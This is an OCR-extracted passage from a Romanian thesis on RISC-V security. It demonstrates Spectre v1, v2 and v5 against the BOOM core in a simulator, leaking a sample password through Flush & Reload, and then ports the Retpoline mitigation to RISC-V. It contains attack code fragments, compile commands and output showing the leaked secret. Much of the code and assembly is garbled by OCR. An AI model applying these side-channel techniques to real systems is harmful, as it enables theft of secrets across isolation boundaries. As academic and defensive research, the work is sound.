td=gnu99 -00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-variable -c flush_reload.c -o flus
h_reload.o

ruxi@debian: $ riscv64-unknown-elf-gcc -T link/link.ld -stat
ic -nostdlib -nostartfiles -lgcc flush_reload.o obj/crt.o obj/stack.o obj/syscalls.o -o flush_reload
.riscv

ruxi@debian: $ ./simulator-chipyard-SmallBoomConfig flush_re

load.riscv

This emulator compiled with JTAG Remote Bitbang client. To enable, use +jtag_rbb_enable=1.
Listening on port 39575

[UART] UARTO 1is here (stdin/stdout).

The victim accesses index 100

The attacker guessed index 100 9 times.

Figura 5.5: Ilustrarea atacului Flush & Reload

5.3.2 Executia speculativa in cazul salturilor ramificate

Acest tip de vulnerabilitate a fost prezentat in anul 2019, fiind cunoscut ca prima varianta
de Spectre si a fost identificat pe microprocesoarele Intel, AMD si ARM [24]. Ea vizeaza
toate arhitecturile speculative cunoscute si deci, in mod evident si BOOM. Pentru prima
data, pe RISC-V, atacul a fost reprodus de un grup de studenti de la Universitatea Berkeley

in cadrul unui proiect de cercetare.

Aceasta varianta presupune o violare a memoriei bazata pe antrenarea intentionat gresita
a predictorului de branch-uri. Mai precis, in cazul unei ramificatii a carei conditie include
o valoare indicata de utilizator, atacatorul poate oferi de mai multe ori valori care sa an-
treneze predictorul si aleagd optiunea de taken, adica intrarea pe ramurd. In momentul in
care ulterior utilizatorul va furniza o valoare pentru care intrarea nu ar trebui sa mai aiba
loc, predictorul va face totusi aceeasi alegere. In cazul in care in cadrul acestei ferestre de
speculatie se realizeaza o accesare dintr-o zona de memorie nepermisa, informatia va putea
fi regasita in memoria cache. Dupa cum am discutat anterior, memoria nu va fi curatata,

iar atacatorul va putea avea acces la informatie folosind tehnica din subcapitolul precedent.

—_

if (idx < arrayl_sz){
dummy = array2[arrayl[idx] * L1_BLOCK_SZ_BYTES];

Cod 5.2: Exploatarea salturilor ramificate

Sa consideram, de exemplu, secventa de cod 5.2. Pentru a se asigura accesul corect In memo-
rie se verifica dimensiunea indexului care nu ar trebui sa depaseasca dimensiunea vectorului
arrayl. Totusi, profitand de speculatie si urmand pasii amintiti anterior, va putea fi dedusa
o valoare dintr-o zona de memorie dorita. In cazul de fatd, vom considera ci este cunoscut
distanta dintre adresa de inceput a unei parole si arrayl. In momentul in care accesarea
se va realiza folosind acest indice, se va aduce in memoria cache valoarea din array?2 cores-

punzatoare codului ASCII al primului caracter din parola (array?2 este declarat avand chiar
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256 * L1 _BLOCK_SZ_BYTES elemente). Folosind tehnica Flush & Reload, atacatorul poate
descoperi al catelea element se afla in cache, deci poate afla codul ASCII si implicit primul

caracter. Aplicand iterativ acest procedeu poate fi obtinuta intreaga parola.

Un mod 1n care ne-am putea raporta la acest atac este folosind doua procese dintre care
unul malitios. Modul in care se face simularea totusi, nu implica prezenta unui sistem de
operare. Rularea folosind Verilator face imposibila incarcarea unui proces atat de complex.
In mod natural, utilizarea de hardware si incircarea unei imagini, ar conduce la posibilita-
tea realizarii experimentului intr-un cadru similar celui descris initial pe arhitecturile x86 si
ARM. Insi pentru demonstrarea ideilor din cadrul acestei lucriri, este suficients folosirea
unui singur executabil In care se va face progresiv schimbul fictiv intre cele doua procese.
Astfel, vom considera ca atacatorul va rula secventa de cod 5.2 de un numar de 40 de ori, ales
empiric, folosindu-se de indecsi valizi. Victima va Incerca apoi sa ruleze folosind un index
mai mare decat marginea superioara a vectorului. Executia speculativa va face ca accesarea

sa aiba loc In continuare.

Pentru discriminarea intre faza de antrenare si cea de atac, indecsii de acces In memo-
rie (cei de antrenare si cel malitios) vor fi alesi prin operatii logice pentru a nu influenta
predictia. Ulterior pentru a exista o sincronizare cu Branch Predictor-ul se va executa un
ciclu de 100 de iteratii in care nu se va executa nimic, va fi folosit doar pentru completarea
cu intrari de tipul taken care indica intrarea pe ramura. De asemenea, aflarea dimensiunii
vectorului array1 va fi intarziata prin executia unor instructiuni de tip £div 5.3. In cele din
urma dimensiunea vectorului depozitata in ab va avea exact aceeasi valoare. Este nevoie de
acest pas suplimentar pentru ca in cazul acestei configuratii, memoria cache utilizata este L1
care este non-blocking (o lipsa a informatiei din cache nu produce o intéarziere, functionand
precum un pipeline) si o memorie externa setata cu latenta L2. Astfel, latenta pentru orice
aducere din memorie este redusa doar la cea a lui L2 si este nevoie de un timp suplimentar
pentru crearea unei ferestre de speculatie potrivite care sa permita aflarea unor informatii

esentiale.

addi s , —2
addi , s 2
slli , , 0x4
fcvt.s.1lu s
fcvt.s.1lu s
fdiv.
fdiv.
fdiv.
fdiv.
fcvt.
add

© 00 N O Ot = W N
H n n n ©n
-

—
=)

u.s N , rtz

[t
—_

-
-

Cod 5.3: Cresterea ferestrei de speculatie
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Ulterior acestor pasi, atacatorul poate aplica tehnica Flush & Reload si descoperi, asa cum
am amintit anterior, literele din parola. Din nou, pentru a creste nivelul de incredere pe
fiecare caracter se va executa acelasi atac de un numar de 10 ori. Codul atacului este
prezentat in anexa D, pentru urmatoarele variante fiind indicate doar modificarile ce trebuie

aplicate. Ilustrarea atacului este prezentata in figura 5.6

ruxi@debian: $ riscvb4-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99 -0
0 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c conditionalBranch.c -
o conditionalBranch.o

ruxi@debian: $ riscv64-unknown-elf-gcc -T link/link.ld -static -nostdli
b -nostartfiles -1lgcc conditionalBranch.o obj/crt.o obj/stack.o obj/syscalls.o -o conditionalBranch.riscv
ruxi@debian: $ ./simulator-example-SmallBoomConfig conditionalBranch.ri

scv
This emulator compiled with JTAG Remote Bitbang client. To enable, use +jtag_rbb_enable=1.

Listening on port 35815

[UART] UARTO 1is here (stdin/stdout).

The attacker guessed character B 7 times.
The attacker guessed character 0 8 times.
The attacker guessed character 0 9 times.
The attacker guessed character M 8 times.
The attacker guessed character ! 10 times.
The guessed secret is BOQOM!

Figura 5.6: Ilustrarea atacului Conditional Branch

5.3.3 Executia speculativa in cazul salturilor indirecte

Aceasta varianta de atac a fost implementata pentru prima data pe procesoare cu arhitectura
x86 si ARM [24], autorii numind acest tip de atac Spectre v2. Ulterior a fost reprodus pe

BOOM de aceeasi cercetatori ce au reprodus si prima varianta [20].

Acesta varianta presupune o executie speculativa a unei bucati de cod ce nu ar aparea
in fluxul normal al programului. Ca in cazul tehnicii ROP, atacatorul trebuie sa localizeze
un gadget care odata executat ar putea aduce informatii la care altfel nu ar putea avea
acces. O astfel de redirectare a executiei se poate realiza In cazul unor salturi indirecte
atunci cand adresa nu este inca depozitata in registru. Predictia adresei se va baza in cazul
acesta pe BTB care poate fi antrenat s& indice citre bucata de cod doritd de atacator. In
mod similar, daca respectivul gadget va produce o modificare a memoriei cache, revenirea in

starea procedurala anterioara speculatiei nu va realiza si o curatare a acestui tip de memorie.

Astfel, intr-o faza initiala atacatorul va executa un numar de salturi indirecte catre bu-
cata de cod doritd si in plus va goli memoria cache. In momentul in care victima va realiza
un salt la o adresa dintr-un registru, adresa prezisa va fi tot cea a gadget-ului dorit de ataca-
tor care aduce o informatie neautorizata in cache. Dupa aflarea adresei corecte si revenirea
in starea initiala, informatia este In continuare In memorie, iar atacatorul poate folosi al

doilea pas din atacul Flush & Reload pentru a descoperi ce a accesat procesul victima.

Ca si 1n sectiunea anterioara, neavand un sistem de operare, nu vor exista doua procese
care sa ruleze pe acelasi nucleu. In schimb, acest tip de comportament va fi mimat dintr-un

singur executabil. Atacatorul va executa saltul indirect catre gadget-ul dorit de un numar de
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40 de ori. Urmatoarea data cand victima va Incerca sa realizeze un salt intr-o zona dorita,
speculativ se va executa aceeasi bucata de cod utilizata anterior. Similar, indecsii de acces
in memorie si adresa de salt vor fi alesi prin operatii logice. Ciclul de 100 de iteratii va fi
din nou introdus pentru indicarea existentei saltului. De asemenea, se va pastra cresterea
ferestrei de speculatie folosind instructiuni de tip fdiv, de data aceasta amanandu-se aflarea

adresei de salt.

Cele doua gadget-uri alese sunt prezentate in anexa E. Cel dorit de atacator reprezinta de
fapt doar codul in asamblare a celui prezentat pentru prima varianta, efectudnd o operatie
de incarcare din memorie. Indexul de data aceasta este global. In mod similar, victima
primeste un index mai mare si doreste sa faca un salt la o bucata de cod inofensiva in care
se executd doar o instructiune nop. In schimb, datoritd antrenarii, in cache va fi depusi

valoarea regasita la adresa indicata prin index, adica o litera din parola.

Atacatorul poate reveni apoi si descoperi respectivul caracter. Repetand atacul de un numar
de ori egal cu dimensiunea parolei si crescand indexul cu o unitate de fiecare data, poate
descoperi intreg sirul. Evident, este nevoie din nou ca adresa de inceput a parolei sa fie

cunoscuta de atacator.

ruxi@debian: $ riscv64-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c indirectBranchSwitc
h.c -o indirectBranchSwitch.o

ruxi@debian: $ riscve4-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c gadgets.s -o gadget

$ riscv64-unknown-elf-gcc -T link/link.ld -static -nostd
lib -nostartfiles -lgcc indirectBranchSwitch.o obj/crt.o obj/stack.o obj/syscalls.o gadgets.o -o indirectBran
chSwitch.riscv

$ ./simulator-chipyard-SmallBoomConfig indirectBranchSwi

This emulator compiled with JTAG Remote Bitbang client. To enable, use +jtag_rbb_enable=1.
Listening on port 37489
[UART] UARTO® is here (stdin/stdout).

attacker guessed character B 8 times.

attacker guessed character 0 8 times.

attacker guessed character 0 7 times.

attacker guessed character M 7 times.

attacker guessed character ! 10 times.

guessed secret is BOOM!

Figura 5.7: Ilustrarea atacului Indirect Branch pentru bucati de cod

In cazul de fata s-au folosit simple bucati de cod pentru ilustrarea atacului, situatie regasita
cel mai adesea in cazul switch-urilor. Atacul are acelasi efect si in cazul saltului indirect
la o functie, cum se intdmpla de exemplu pentru apelurile de functii virtuale. Modificarea
gadget-urilor in functii este prezentata tot in anexa E. S-a facut aceasta diferentiere Intrucat
in subcapitolul 5.3.5 vor exista doua modalitati distincte de corectare. Prezentarea acestei
solutii se va realiza dupa ilustrarea variantei 5 de Spectre care se aplica in cazul apelurilor

de functii. Ilustrarea atacului aplicat in cazul saltului la functii este prezentat in figura 5.8.
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ruxi@debian: $ riscvbd-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c indirectBranchFunct
ion.c -o indirectBranchFunction.o

ruxi@debian: $ riscve4-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c functions.s -o func

$ riscvbd-unknown-elf-gcc -T link/link.ld -static -nostd
1ib -nostartfiles -lgcc indirectBranchFunction.o obj/crt.o obj/stack.o obj/syscalls.o functions.o -o indirect
BranchFunction.riscv
ruxi@debian: $ ./simulator-chipyard-SmallBoomConfig indirectBranchFun
ction.riscv
This emulator compiled with JTAG Remote Bitbang client. To enable, use +jtag_rbb_enable=1.
Listening on port 36533
[UART] UARTO 1is here (stdin/stdout).
The attacker guessed character B 8 times.
The attacker guessed character 0 10 times.
The attacker guessed character 0 9 times.
The attacker guessed character M 7 times.
The attacker guessed character ! 10 times.
The guessed secret is BOOM!

Figura 5.8: Ilustrarea atacului Indirect Branch pentru functii

5.3.4 Executia speculativa in cazul apelurilor de functii

Aceasta varianta de atac a fost implementata pentru prima data pe procesoare Intel x86 [25],
autorii numind acest tip de atac Spectre v5. Ulterior a fost reprodus pe BOOM de aceeasi

cercetatori ce au reprodus celelalte doua variante anterioare [20].

In cadrul acestui atac, speculatia constd in executarea instructiunilor ce sunt succesoare
ale unei instructiuni de tip call. Vulnerabilitatea se bazeaza pe prezenta predictorului
RSB (Return Stack Buffer) care este o stivi hardware in care se memoreaza cea mai
probabila adresa de retur dintr-o functie si anume adresa instructiunii ce urmeaza dupa
call. Speculativ apoi pentru a nu a se astepta calculul adresei reale de retur, se face saltul
la aceasta adresa din varful lui RSB. Evident daca registrul ra este modificat pe parcursul
functiei, cateva instructiuni vor fi executate si similar daca acestea produc modificari ale

memoriei cache, modificarile vor fi vizibile si dupa aflarea adresei corecte de Intoarcere.

In cazul acesta atacatorul nu mai este nevoit si realizeze nicio antrenare anterioars intrucat
comportamentul descris este prezent in orice situatie. Tot ce are de facut este sa goleasca
memoria cache, sa permita victimei sa foloseasca codul in care se apeleaza o astfel de functie
care modifica valoarea lui ra, iar la final sa realizeze masuratorile pentru a stabili care sunt
literele din parola. Astfel prin apelul functiei prezentate mai jos ce primeste ca argumente
adresa fiecarei litere din parola, se va aduce In memoria cache pe rand litera in sine din
parola, desi functia frameDump modifica adresa de retur astfel incat executia sa revina direct

in main si nu napoi in specFunc.

1 void specFunc(char *addr){
extern void frameDump ();
3 uint64_t dummy = O;
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frameDump () ;

char secret = *addr;

dummy = arrayl[secret * L1_BLOCK_SZ_BYTES];
rdcycle () ;

dummy

0 N O Ot B

Cod 5.4: Corpul functiei in care are loc speculatia

In plus, fata de un caz real, in main este adaugata o instructiune 1d pentru reglarea valorii lui
fp si pentru a nu strica stiva. Desi In mod normal nu ne-ar interesa care este comportamen-
tul ulterior atacului in cazul procesului victima, ilustrarea curenta face necesara existenta

unei continuitati.

De asemenea, similar celor prezentate anterior, se vor folosi instructiuni de tip fdiv 1na-
inte de calcularea adresei noi de retur pentru a mari fereastra de speculatie. O ilustrare a

atacului dupa o repetare a pasilor de 10 ori este prezentata in figura 5.9.

ruxi@debian: $ riscvb64-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c returnStackBuffer.c
-0 returnStackBuffer.o
ruxi@debian: $ riscv64-unknown-elf-gcc -T link/link.ld -static -nostd
1ib -nostartfiles -lgcc returnStackBuffer.o obj/crt.o obj/stack.o obj/syscalls.o -o returnStackBuffer.riscv
ruxi@debian: $ ./simulator-chipyard-SmallBoomConfig returnStackBuffer
.riscv
This emulator compiled with JTAG Remote Bitbang client. To enable, use +jtag_rbb_enable=1.
Listening on port 35923
[UART] UARTO 1is here (stdin/stdout).

attacker guessed character B 9 times.

attacker guessed character 0 8 times.

attacker guessed character 0 5 times.

attacker guessed character M 8 times.

attacker guessed character ! 10 times.

guessed secret is BOOM!

Figura 5.9: Ilustrarea atacului Return Stack Buffer

5.3.5 Mitigarea atacului Spectre v2

De-a lungul timpului pentru alte arhitecturi au fost propuse diverse modalitati de mitigare a
atacului. Cele mai multe solutii vizeaza arhitecturile initiale pe care a fost descoperit atacul

si anume x86 si ARM, acestea fiind principalele arhitecturi speculative existente.

In cazul x86, lista de posibile mitigari este destul de lunga. O primi solutie este oferita
prin implementarea unui mecanism de control al salturilor indirecte denumit IBRS (Indi-
rect Branch Restricted Speculation). Acesta restrictioneaza folosirea predictorului de
la nivele de privilegii joase catre nivele mai inalte. Astfel, prin setarea unui bit specific, tot
istoricul dictat prin antrenarea la nivelul unui proces al utilizatorului, va fi uitat cand se trece
in kernel. Un mecanism similar, numit STIBP (Single Thread Indirect Branch Predic-
tor) este implementat si pentru thread-uri, predictiile dintr-un fir de executie neinfluentand

predictiile de pe un altul.
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O alta solutie este denumita IBPB (Indirect Branch Prediction Barrier) si este consi-
derata de AMD, de exemplu, solutia optima pentru minimizarea efectelor atacului Spectre
v2 raportat la mentinerea unei performante cat mai crescute. Aceasta presupune inserarea
unei bariere care va curata istoricul, neluandu-se in calcul predictiile realizate inainte de
bariera. Astfel, la o schimbare de context, antrenarea realizata de un proces malitios devine
inutila. Acest procedeu poate fi folosit si in cazul atacului dintre doua procese de la acelasi

nivel.

De asemenea, exista si un apel de sistem prctl care permite dezactivarea totala a speculatiei
pentru procesul in curs. Performanta este redusa semnificativ, dar aceasta este cea mai facila

modalitate de protejare a procesului de catre el insusi.

In plus, numeroase proiecte de cercetare au fost dedicate descoperirii de solutii pentru mi-
tigarea Spectre. In continuare vor fi amintite citeva dintre acestea. InvisiSpec [40] pro-
pune utilizarea unui buffer pentru inlocuirea memoriei cache in cazul valorilor incarcate prin
instructiuni nesigure. In momentul aflarii caii corecte, datele vor fi preluate din acest buffer.
CSF (Context-Sensitive Fencing) [35] presupune inserarea unei instructiuni speciale
similara unei bariere in momentul decodarii opcode-ului daca a fost decisa prin analiza dina-
mica necesitatea realizarii unei astfel de modificari. STT (Speculative Taint Tracking)
selecteaza acele instructiuni de incarcare vulnerabile, venite din accese realizate speculativ

si nu le executa decat in momentul in care devin sigure.

In cazul arhitecturii ARM, exista de asemenea mitigari realizate atat in kernel, cat si in

firmware, Tnsa nu exista prea multe detalii despre modul de implementare al acestora.

In cazul MIPS, care detine cateva procesoare speculative, solutiile propuse sunt dezacti-
varea, respectiv folosirea de bariere intr-o maniera similara celei prezentate anterior pentru
x86.

Revenind la RISC-V, principalul articol despre posibilele solutii de mitigare pe BOOM a
fost prezentat in cadrul workshop-ului CARRV (Computer Architecture Research
with RISC-V) din iunie 2021 [32]. Acesta combina beneficiile solutiilor CSF si STT. Desi
CSF nu poate fi utilizat intrucat arhitectura BOOM nu permite inserarea de instructiuni
noi, aceasta idee este aplicata diferit. Cand este descoperita o instructiune de incarcare de
la o adresa dedusa speculativ, este activata blocarea memoriei de date. Astfel, este dezacti-
vata si utilizarea speculativa a memoriei cache, informatiile fiind aduse In memorie abia in

momentul finalizarii speculatiei.

Totusi in prezentarea mitigarilor pe x86, a fost omisa cea principala, utilizata in toate scena-

riile descrise anterior, denumita Retpoline [37]. Aceasta este o solutie care se poate aplica
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din cod si ca un flag la compilare, fiind indicata spre a fi folosita atat la compilarea kernel-

ului, cat si la compilarea oricarui cod scris de utilizator.

Din cunostintele mele si bazat pe un raspuns oferit de cercetatorii de la ARM [9], aceasta
mitigare nu a fost pand acum portatd pe o arhitectura de tip RISC. In cele ce urmeaza va fi

descris principiul de functionare si modul de implementare al acestei solutii pe BOOM.

In mod ironic, solutia se bazeaza pe aplicarea atacului Spectre v5, profitindu-se de faptul
ca adresa de Intoarcere din functie este prezisa intotdeauna ca fiind instructiunea urmatoare
de dupa apel. Numai ca adresa de intoarcere poate fi modificata in cadrul functiei, iar saltul
sa fie redirectat astfel exact catre zona dorita. Fereastra de speculatie va prinsa in tot acest
timp intr-un ciclu, intr-o salt continuu la instructiunea de salt in sine, ca pe o trambulina.

De aici si numele mitigarii - ret de la adresa de retur si poline - sufixul de la trampoline.

Sa analizam 1n cele ce urmeaza codul pe arhitectura x86 pentru a intelege dificultatea care

apare pe RISC-V si, in general, pe orice arhitectura de tip RISC.

Indirect branch construction

jmp *%rll call set up target; (1)
capture spec: (4)
pause;

jmp capture_spec;

set up target:
mov %rll, (%rsp); (2)
ret; (3)

Figura 5.10: Retpoline pe x86 [37]

Sa presupunem ca se realizeaza un salt indirect la adresa din registrul r11. Aceasta constructie
va fi Inlocuita cu apelul functiei set_up_target. Asa cum spuneam, Spectre vH va face ca
speculatia s& se realizez incepand cu instructiunea de dupa apel. In schimb, in acea zoni
de cod, executia este prinsa intr-un ciclu infinit, iar speculatia nu aduce nicio informatie
suplimentara. Pe de cealalta parte, continuarea executiei are loc in functia set_up_target,
unde adresa din registrul ri1 este adaugata in varful stivei. Pe x86, instructiunea de retur
va realiza saltul chiar la ultima adresa adaugata pe stiva, mimand astfel saltul indirect la

adresa dorita.

Din pacate aceasta conventie de apel nu se realizeaza si pe arhitecturile RISC, iar adresa de
intoarcere este dictata de ceea ce se gaseste 1n registrul ra care poate fi restaurat Tnainte de
retur daca saltul indirect vizeaza o functie. In acelasi timp, saltul indirect poate aparea si in
cazul switch-urilor, adresa reprezentand o simpla bucata de cod, un gadget care nu realizeaza
restaurari de registrii. De la inceput deci apare o diferenta de abordare a problemei pe cazuri.

Evident distinctia poate fi realizata usor de compilator In momentul in care decide emiterea
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unei instructiuni de salt indirect intrucat contextul 1i este unul cunoscut. In scrierea directa
de cod in asamblare, lucrurile sunt si mai simple, programatorul putand scrie direct codul

necesar.

Sa consideram asadar primul caz In care adresa de salt este cea a unei simple bucati de
cod, de altfel cazul descris in subsectiunea 5.3.3. Gadget-urile si codul din sursa principala
vor ramane aceleasi. Singura modificare va fi dictata de Inlocuirea saltului indirect cu un

cod similar celui de mai sus scris In limbaj de asamblare RISC-V.

1| jal set_up_target
. 2| capture_spec: j capture_spec
ol 3| set_up_target: addi , , O
4| jr

Figura 5.11: Transformarea salturilor indirecte - primul caz

Analizand transformarea prezentata in figura 5.11, observam ca pe acest caz codul este doar
o traducere exacta a celui descris pentru asamblarea x86. Acest lucru a fost posibil datorita
faptului ca in cazul unui salt la bucati de cod, valorile registrilor nu sunt salvate pe stiva
si restaurate. Pentru cazul unei functii lucrurile sunt putin mai complicate si necesita ca-
teva modificari suplimentare. O ilustrare a aplicarii mitigarii este prezentata in figura 5.12.
Dupa cum este realizat codul, de fiecare data este ghicit caracterul cu codul ASCII 0 care nu

este un caracter printabil. Astfel, dupa cum se poate observa nu este afisat nimic in consola.

ruxi@debian: $ riscvé4-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c indirectBranchSwitc
hDefense.c -o indirectBranchSwitchDefense.o
ruxi@debian: $ riscv64-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c gadgets.s -0 gadget
5.0
ruxi@debian: $ riscv64-unknown-elf-gcc -T link/link.ld -static -nostd
1ib -nostartfiles -lgcc indirectBranchSwitchDefense.o obj/crt.o obj/stack.o obj/syscalls.o gadgets.o -o indir
ectBranchSwitchDefense.riscv
ruxi@debian: $ ./simulator-chipyard-SmallBoomConfig indirectBranchSwi
tchDefense.riscv
This emulator compiled with JTAG Remote Bitbang client. To enable, use +jtag_rbb_enable=1.
Listening on port 45869
[UART] UARTO 1is here (stdin/stdout).
The attacker guessed character 1 times.
The attacker guessed character times.
The attacker guessed character times.
The attacker guessed character times.

attacker guessed character times.

guessed secret is

1
1
1
1

Figura 5.12: Ilustrarea mitigarii pentru primul caz

Pentru varianta a doua, in cazul functiilor, prima modificare este legata de modul in care
unele compilatoare genereaza cod pentru salvari si restaurari. Aplicind o optimizare, spatiul
de pe stiva este crescut In mod uzual inca de la inceput pentru a face spatiu pentru salvarea
tuturor registrilor callee-saved. De exemplu, daca registrii s1 si s2 sunt folositi pe parcursul
functiei, ei trebuie sa fie salvati la intrarea in aceasta. Luand in considerare si spatiul alocat

pentru salvarea lui fp si ra, sp va trebui sa fie scazut cu 32. Un cod care reflecta aceasta
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[

ipoteza este prezentat mai jos. Pentru aplicarea mitigarii vom impune ca modul de generare
sa fie putin modificat astfel incat alocarea de spatiu pentru registrii £p si ra sa fie separata
de alocarea pentru alti registri. Aceasta schimbare este prezentata in figura 5.13. Rescrie-
rea este realizata direct in fisierul cu functii prezentat in anexa E intrucat functiile nu sunt

generate de un compilator si sunt scrise direct in limbaj de asamblare.

1| addi . , —-16
addi , , —-32
2| sw , 8(=1)
swW , 24(=p)
3| sw , 0(=p)
sW , 16(=p) .
addi 16 4| addi , , 0
’ 2 5| addi R , —16
sw ,» 8(=p)
cw 0C-) 6| sw , 8(=p)
’ 7| sw , 0(=1)

Figura 5.13: Schimbarea modalitatii de salvare a registrilor

Odata realizata aceasta rescriere a functiilor, solutia de evitare a atacului vine din perce-
perea functiilor ca bucati de cod al caror incipit am vrea sa poata fi controlabil pentru a
realiza o salvare a unei adrese dorite de noi. Astfel, In loc ca saltul indirect sa se realizeze
la inceputul functiei vom sari direct dupa salvarea registrului ra, iar acesta va fi controlat
din functia set_up_target. Pentru simplitate, va fi prezentat intai codul de transformare

in figura 5.14 si apoi va fi urmat de explicatii.

1| jal set_up_target

2| capture_spec: j capture_spec

3| set_up_target: addi , , 4
. 4| addi , , —-16
jalr 5/ 1la , end

6| sd , 8(=p)

7 jr

8| end:

Figura 5.14: Transformarea salturilor indirecte - cazul al doilea

Capturarea speculatiei este realizata Intr-o maniera similara, prin folosirea lui Spectre v5 si
blocarea intr-un ciclu infinit. In functia improvizata set_up_target, pentru a se mima saltul
indirect prin Intoarcerea din aceasta functie, registrul ra va lua valoarea adresei de inceput
a functiei la care se aduna 4 pentru saltul peste primele doua instructiuni. O instructiune
uzuala este pe 4 octeti, dar folosindu-se extensia de comprimare, instructiunile addi si sw
vor fi scrise doar pe 2 octeti. Pentru realizarea corecta a acestui cadru de apel, instructiunea
de scadere a lui sp se va adiuga in set_up_target. In plus, toate aceste modificari au fost
realizate tocmai pentru a putea controla valoarea care va fi restaurata in ra si care ne dorim
sa fie instructiunea urmatoare de dupa functia curenta de inlocuire a saltului indirect. Deci,

valoarea pe care o vom depozita pe stiva pentru restaurare va fi exact aceasta adresa. Pentru

41



usurinta este adaugata o eticheta fix dupa ultima instructiune astfel Incat sa nu fie necesar

un calcul al adreselor si sa fie stocata pe stiva exact adresa acestei etichete.

Asadar, in loc de saltul indirect catre o functie se va realiza un salt in functia set_up_target
care are ca adresa de retur adresa functiei la care se efectua saltul la care se adauga patru
pentru a se sari peste primele doua instructiuni - cea de crestere a stivei si cea de stocare a lui
ra. Speculatia este prinsa pe aceeasi "trambulina". Mai departe, in functia set_up_target
sunt recreate cele doua instructiuni eliminate, cu mentiunea ca valoarea lui ra va fi cea a
instructiunii urmatoare saltului indirect. Daca aceste schimbari nu ar fi avut loc, valoarea
restaurata ar fi fost cea cu care se intra initial in functie, cea din set_up_target, adica fix

adresa functiei. Atunci programul ar fi intrat intr-un ciclu infinit.

[lustrarea mitigarii atacului este prezentata in figura 5.15.

ruxi@debtian: $ riscve4-unknown-elf-gcc -mcmodel=medany - B VEE]
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c indirectBranchFunct
ionDefense.c -o indirectBranchFunctionDefense.o
ruxi@debian: $ riscv64-unknown-elf-gcc -mcmodel=medany -1 -std=gnu99
-00 -g -fno-common -fno-builtin-printf -Iinc -Wno-unused-function -Wno-unused-variable -c functions.s -o func
tions.o
ruxi@debian: $ riscv64-unknown-elf-gcc -T Llink/link.ld -static -nostd
lib -nostartfiles -lgcc indirectBranchFunctionDefense.o obj/crt.o obj/stack.o obj/syscalls.o functions.o -0 i
ndirectBranchFunctionDefense.riscv
ruxi@debian: $ ./simulator-chipyard-SmallBoomConfig indirectBranchFun
ctionDefense.riscv
This emulator compiled with JTAG Remote Bitbang client. To enable, use +jtag_rbb_enable=1.
Listening on port 36843
[UART] UARTO is here (stdin/stdout).

attacker guessed character 1 times.

attacker guessed character 1 times.

attacker guessed character 1 times.

attacker guessed character 1 times.

attacker guessed character 1 times.

guessed secret is

Figura 5.15: Ilustrarea mitigarii pentru cel de-al doilea caz

O posibila tema de cercetare ar fi reprezentata de modul in care aceasta mitigare influenteaza
performanta. Acest lucru nu a putut fi investigat intrucat atacurile au fost realizate pe un
emulator si nu pe hardware real. Experienta implementarii pe x86 si abordarea acestei solutii
de principalii utilizatori aduc un argument important in favoarea utilizarii Retpoline si pe
RISC-V.
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Capitolul 6
Concluzii

Dupa cum s-a mentionat initial RISC-V este considerata a fi una dintre cele mai sigure
arhitecturi existente si apare dupa multi ani de stagnare ca o solutie pentru inlocuirea ar-
hitecturilor vechi. Generalitatea sa si modul in care este conceputa fac ca RISC-V sa evite

majoritatea problemelor descoperite pe arhitecturile clasice.

Cu toate acestea, in aceasta lucrare au fost prezentate cateva vulnerabilitati de limbaj care
pot fi inca reproduse. Desi intr-un context mai dificil de recreat, acesta nu este unul impo-
sibil, in special in aceasta perioada in care arhitectura nu a ajuns la o maturitate in care

solutiile descoperite pentru arhitecturile vechi sa fie portate pe RISC-V.

Au fost prezentate atacuri clasice precum buffer overflow si ROP si a fost realizat un scurt
sumar al tehnicilor de mitigare cunoscute. In plus, au fost ilustrate solutii existente pe ar-

hitecturile vechi ce pot fi implementate pe viitor si in cadrul RISC-V.

De asemenea, aceasta arhitectura a fost abordata si dintr-un unghi diferit, ca un proiect
de cercetare in care se cauta atingerea performantelor la toate nivelurile, de la sisteme sim-
ple pana la unele extrem de complexe, prin dezvoltarea de nuclee adaptate la cerintele vremii.
Un astfel de nucleu este BOOM prezentat cu principala sa vulnerabilitate ce a permis ilus-
trarea unuia dintre cele mai de impact atacuri din ultima perioada - Spectre. Prezentat in

trei dintre versiunile existente, axarea s-a realizat pe cazul salturilor indirecte.

In acest context, principala contributie a lucririi a fost oferirea unei solutii de mitigare
a acestei versiuni prin rescrierea convenabila de cod si diferentierea ce ar trebui perceputa
pentru aplicarea solutiei la nivelul compilatorului. Ca munca viitoare, evident, o aplicatie
importanta este reprezentata tocmai de adaugarea unei optiuni pentru generarea de cod in

aceasta maniera sigura.

In concluzie, aflatd inca la inceput de drum si cu multe oportunititi de dezvoltare, utili-

zata atat in industrie, cat si in proiecte de cercetare, RISC-V poate fi una dinte cele mai

43



sigure arhitecturi. Este insa nevoie de o constientizare a riscurilor inca existente, diminuate
totusi considerabil fata de arhitecturile consacrate. Aceste riscuri au fost prezentate partial
in cadrul acestei lucrari, fiind insotite de solutii viabile deja cunoscute sau propuse pentru

prima data precum in cazul Spectre v2.
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Anexa A

Buffer overflow

0x000100b0O

0x000100b2
0x000100b4
0x000100b6
0x000100b8
0x000100bc
0x000100cO
0x000100c4
0x000100c8
0x000100cc
0x000100d0
0x000100d4
0x0001004d8
0x000100dc
0x000100de
0x000100e0
0x000100e2
0x000100e6
0x000100ea
0x000100ec
0x000100ee
0x000100f0
0x000100£f2
0x000100£f4

0111

O6ec
22e8
0010
b767696e
